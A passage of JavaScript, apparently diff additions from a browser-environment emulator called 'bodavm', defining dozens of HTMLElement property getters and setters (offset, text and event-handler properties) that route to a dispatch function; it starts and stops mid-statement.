bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "isContentEditable", {configurable:true, enumerable:true, get:function isContentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "isContentEditable_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inputMode", {configurable:true, enumerable:true, get:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_get", arguments)}, set:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetParent", {configurable:true, enumerable:true, get:function offsetParent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetParent_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetTop_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetLeft_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetWidth", {configurable:true, enumerable:true, get:function offsetWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetHeight", {configurable:true, enumerable:true, get:function offsetHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "innerText", {configurable:true, enumerable:true, get:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_get", arguments)}, set:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "outerText", {configurable:true, enumerable:true, get:function outerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_get", arguments)}, set:function outerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onseeking_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselect_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onslotchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onstalled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsubmit_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsuspend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontimeupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontoggle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onvolumechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwaiting_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, 